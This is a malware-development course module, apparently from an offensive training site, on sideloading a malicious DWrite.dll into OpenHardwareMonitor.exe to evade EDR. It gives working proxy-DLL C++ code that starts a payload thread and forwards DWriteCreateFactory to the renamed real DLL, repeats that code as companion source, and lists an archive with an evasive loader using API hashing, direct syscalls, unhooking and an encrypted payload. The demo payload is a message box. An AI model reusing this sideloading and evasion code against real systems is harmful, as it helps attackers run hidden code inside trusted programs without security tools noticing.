MalDev Study
Advanced Module 26advanced36 code files

DLL Sideloading For EDR Evasion

DLL sideloading can serve as an effective technique when evading security solutions. Security solutions are far better tuned to detect malicious EXEs and have the capacity to sc...

Jump to Section (8)

Introduction

DLL sideloading can serve as an effective technique when evading security solutions. Security solutions are far better tuned to detect malicious EXEs and have the capacity to scan executables without causing any performance issues to the user. On the other hand, this is not the case for DLLs. Scanning all DLLs in a process or multiple processes can result in performance issues and therefore security solutions haven't adapted as well.

This module will show how DLL sideloading is effective against EDR solutions. The target application that will be sideloaded in this module is OpenHardwareMonitor.

Open Hardware Monitor

The Open Hardware Monitor is a free open-source software that monitors temperature sensors, fan speeds, voltages, load, and clock speeds of a computer. An example of OpenHardwareMonitor's output is shown in the following image

DLL Sideloading For EDR Evasion figure

Open Hardware Monitor's files are shown below.

DLL Sideloading For EDR Evasion figure

Sideloading OpenHardwareMonitor.exe

As usual, to find sideloading opportunities set Procmon to display the NAME NOT FOUND event result of the OpenHardwareMonitor.exe process and then execute it. Procmon shows the following results:

DLL Sideloading For EDR Evasion figure

As depicted in the image above, OpenHardwareMonitor.exe attempts to access numerous non-existent files. However, the DLL files of interest are those being opened in the local directory, specifically profapi.dll, cryptsp.dll, cryptbase.dll, windowscodecs.dll, and DWrite.dll.

After various conducting tests, it was determined that sideloading the DWrite.dll DLL was the simplest and most direct solution.

Investigating DWrite.dll

In this section, we'll explore how DWrite.dll can be used to perform DLL sideloading on OpenHardwareMonitor.exe. As illustrated in the previous image, DWrite.dll was not found in the local directory, therefore resulting in a NAME NOT FOUND error code when the CreateFile operation was executed.

To determine whether any of DWrite.dll's exported functions are invoked, open the OpenHardwareMonitor.exe application within the xdbg debugger and set breakpoints on all of DWrite.dll's exported functions. Pay close attention to the DWriteCreateFactory function as that will be our target function for the remainder of this module.

Additionally, keep in mind that the DWrite.dll file does not load upon opening OpenHardwareMonitor.exe in xdbg. Therefore, it's necessary to resume execution (beyond the entry point) to load additional DLLs, including DWrite.dll. If you need a refresher as to how this is done, a video was included in the previous module that shows how this is done.

DLL Sideloading For EDR Evasion figure

Restarting the debugging session, the execution will hit DWriteCreateFactory's breakpoint as shown in the following image.

DLL Sideloading For EDR Evasion figure

This makes the function DWriteCreateFactory suitable for payload execution. To test this theory, a custom DWrite.dll file will be created using the code below, which will be copied to the same folder as OpenHardwareMonitor.exe.

CPP
// Custom DWrite.dll
#include <Windows.h>

extern __declspec(dllexport) PVOID DWriteCreateFactory() {
    MessageBoxA(NULL, "This DLL is Side-Loaded!", "Success!", MB_OK | MB_ICONEXCLAMATION);
    return NULL;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {

    switch (dwReason)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Now that the custom DWrite.DLL DLL file is in place, running the OpenHardwareMonitor.exe image will execute our payload as shown in the following image.

DLL Sideloading For EDR Evasion figure

Proxying DWriteCreateFactory

In the previous section, when our payload was executed, the OpenHardwareMonitor.exe process terminated, which is not the expected execution of the application. It's fair to assume that this is occurring due to the hijacked function DWriteCreateFactory not executing the legitimate function's code. Therefore, our custom DWrite.dll file should proxy OpenHardwareMonitor.exe's call to the DWriteCreateFactory function located in the original DWrite.DLL file in order for the program to work as intended.

To proxy the original DWrite.dll file, we'll need to copy C:\Windows\System32\DWrite.dll and place it in the same folder as OpenHardwareMonitor.exe under a new name in order to avoid overwriting our custom DWrite.dll file. For this example, we'll rename the legitimate DWrite.dll to Aga.Monitor.dll.

As explained in the Practical DLL Sideloading Example module, since DWriteCreateFactory is the function that executes the payload, it cannot be a forwarded function. Instead, our custom DWriteCreateFactory function must resolve DWriteCreateFactory's original function address manually using the original DWrite.dll (which was renamed to Aga.Monitor.dll).

Based on Microsoft's documentation on the DWriteCreateFactory function, the custom DWriteCreateFactory function should be declared as follows to match the original function's definition.

CPP
extern __declspec(dllexport) HRESULT DWriteCreateFactory(IN enum DWRITE_FACTORY_TYPE factoryType, IN REFIID iid, OUT IUnknown** factory) {}

Updating The Custom DWrite DLL

Since the custom DWriteCreateFactory function must pass the same parameters to its original function, the custom DWrite.dll code that was created earlier should be updated to the following code:

CPP
#include <Windows.h>

typedef HRESULT(WINAPI* fnDWriteCreateFactory)(IN enum DWRITE_FACTORY_TYPE factoryType, IN REFIID iid, OUT IUnknown** factory);

VOID PayloadRunningFunc() {
    MessageBoxA(NULL, "This DLL is Side-Loaded!", "Success!", MB_OK | MB_ICONEXCLAMATION);
}

extern __declspec(dllexport) HRESULT DWriteCreateFactory(IN enum DWRITE_FACTORY_TYPE factoryType, IN REFIID iid, OUT IUnknown** factory) {

    HANDLE                  hModule                         = NULL;
    fnDWriteCreateFactory   pOringinalDWriteCreateFactory   = NULL;

    // Running the payload in a separate thread
    CreateThread(NULL, 0x00, PayloadRunningFunc, NULL, 0x00, NULL);

    // Resolving the original "DWriteCreateFactory" function address
    if (!(hModule = LoadLibrary(L"Aga.Monitor.dll")))
        return E_ABORT;

    if (!(pOringinalDWriteCreateFactory = (fnDWriteCreateFactory)GetProcAddress(hModule, "DWriteCreateFactory")))
        return E_ABORT;

    // Calling the original "DWriteCreateFactory" function, and returning its output
    return pOringinalDWriteCreateFactory(factoryType, iid, factory);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {

    switch (dwReason)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Demo

Compile this DLL, rename it to DWrite.dll, and place it in the same folder as OpenHardwareMonitor.exe and Aga.Monitor.dll. Then, execute the payload and the application should run as expected.

DLL Sideloading For EDR Evasion figure

Video Demo

In the following demonstration, the loader from the Building Evasive DLL Payload Loader module was used to simulate a realistic scenario of DLL sideloading. The payload loader's earlier code was modified to align with the requirements for sideloading by OpenHardwareMonitor.exe, as presented in this module. Additionally, the updated loader code is incorporated with the module's shared code.

DLL Sideloading For EDR Evasion figure
Diagram

Companion Project & Source Code

36 readable source/config files extracted directly from the archive

Download Module 26 - DLLSideloading3.zip
1.5 KB
// @NUL0x4C | @mrd0x : MalDevAcademy

#include <Windows.h>

//\
https://learn.microsoft.com/en-us/windows/win32/api/dwrite/nf-dwrite-dwritecreatefactory

typedef HRESULT(WINAPI* fnDWriteCreateFactory)(IN enum DWRITE_FACTORY_TYPE factoryType, IN REFIID iid, OUT IUnknown** factory);

VOID PayloadRunningFunc() {
    MessageBoxA(NULL, "This DLL is Side-Loaded!", "Success!", MB_OK | MB_ICONEXCLAMATION);
}

extern __declspec(dllexport) HRESULT DWriteCreateFactory(IN enum DWRITE_FACTORY_TYPE factoryType, IN REFIID iid, OUT IUnknown** factory) {

    HANDLE                  hModule                         = NULL;
    fnDWriteCreateFactory   pOringinalDWriteCreateFactory   = NULL;

    // Running the payload in a separate thread
    CreateThread(NULL, 0x00, PayloadRunningFunc, NULL, 0x00, NULL);

    // Resolving the original "DWriteCreateFactory" function address
    if (!(hModule = LoadLibrary(L"Aga.Monitor.dll")))
        return E_ABORT;

    if (!(pOringinalDWriteCreateFactory = (fnDWriteCreateFactory)GetProcAddress(hModule, "DWriteCreateFactory")))
        return E_ABORT;

    // Calling the original "DWriteCreateFactory" function, and returning its output
    return pOringinalDWriteCreateFactory(factoryType, iid, factory);
}


BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {

    switch (dwReason)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Full Archive Manifest (48 files inside .zip)
  • DLLSideloading3/DWrite/DWrite.sln
  • DLLSideloading3/DWrite/DWrite/DWrite.vcxproj
  • DLLSideloading3/DWrite/DWrite/DWrite.vcxproj.filters
  • DLLSideloading3/DWrite/DWrite/DWrite.vcxproj.user
  • DLLSideloading3/DWrite/DWrite/DllMain.c
  • DLLSideloading3/DWrite/DWrite/Source.def
  • DLLSideloading3/OpenHardwareMonitor/Aga.Controls.dll
  • DLLSideloading3/OpenHardwareMonitor/Aga.Monitor.dll
  • DLLSideloading3/OpenHardwareMonitor/DWrite.dll
  • DLLSideloading3/OpenHardwareMonitor/License.html
  • DLLSideloading3/OpenHardwareMonitor/OpenHardwareMonitor.exe
  • DLLSideloading3/OpenHardwareMonitor/OpenHardwareMonitorLib.dll
  • DLLSideloading3/OpenHardwareMonitor/OxyPlot.WindowsForms.dll
  • DLLSideloading3/OpenHardwareMonitor/OxyPlot.dll
  • DLLSideloading3/PayloadLoader/DllLoader/ApiHashing.c
  • DLLSideloading3/PayloadLoader/DllLoader/Common.c
  • DLLSideloading3/PayloadLoader/DllLoader/Common.h
  • DLLSideloading3/PayloadLoader/DllLoader/CtAes.c
  • DLLSideloading3/PayloadLoader/DllLoader/CtAes.h
  • DLLSideloading3/PayloadLoader/DllLoader/Debug.c
  • DLLSideloading3/PayloadLoader/DllLoader/Debug.h
  • DLLSideloading3/PayloadLoader/DllLoader/DllLoader.vcxproj
  • DLLSideloading3/PayloadLoader/DllLoader/DllLoader.vcxproj.filters
  • DLLSideloading3/PayloadLoader/DllLoader/DllLoader.vcxproj.user
  • DLLSideloading3/PayloadLoader/DllLoader/FunctionPntrs.h
  • DLLSideloading3/PayloadLoader/DllLoader/HellsAsm.asm
  • DLLSideloading3/PayloadLoader/DllLoader/HellsHall.c
  • DLLSideloading3/PayloadLoader/DllLoader/IatCamo.h
  • DLLSideloading3/PayloadLoader/DllLoader/Inject.c
  • DLLSideloading3/PayloadLoader/DllLoader/ModuleDefinition.def
  • DLLSideloading3/PayloadLoader/DllLoader/Payload.ctaes
  • DLLSideloading3/PayloadLoader/DllLoader/Resource.h
  • DLLSideloading3/PayloadLoader/DllLoader/Resource.rc
  • DLLSideloading3/PayloadLoader/DllLoader/RsrcPayload.c
  • DLLSideloading3/PayloadLoader/DllLoader/Structs.h
  • DLLSideloading3/PayloadLoader/DllLoader/Unook.c
  • DLLSideloading3/PayloadLoader/DllLoader/dllmain.c
  • DLLSideloading3/PayloadLoader/HashCalculator/HashCalculator.c
  • DLLSideloading3/PayloadLoader/HashCalculator/HashCalculator.vcxproj
  • DLLSideloading3/PayloadLoader/HashCalculator/HashCalculator.vcxproj.filters
  • DLLSideloading3/PayloadLoader/HashCalculator/HashCalculator.vcxproj.user
  • DLLSideloading3/PayloadLoader/PayloadEncrypter/CTAES.c
  • DLLSideloading3/PayloadLoader/PayloadEncrypter/CTAES.h
  • DLLSideloading3/PayloadLoader/PayloadEncrypter/PayloadEncrypter.c
  • DLLSideloading3/PayloadLoader/PayloadEncrypter/PayloadEncrypter.vcxproj
  • DLLSideloading3/PayloadLoader/PayloadEncrypter/PayloadEncrypter.vcxproj.filters
  • DLLSideloading3/PayloadLoader/PayloadEncrypter/PayloadEncrypter.vcxproj.user
  • DLLSideloading3/PayloadLoader/PayloadLoader.sln

Search all modules and companion code

No matching modules or source files found for “”.
    Covers all 91 Core + 38 Advanced modules + source archives

    Reader Settings & Progress

    Color Theme

    Reading Font Size

    Study Progress & Cross-Device Backup

    0/129
    Completed
    0
    Bookmarked
    0
    Module Notes

    Progress is saved locally in your browser. Export a JSON backup to move your progress between laptop and phone.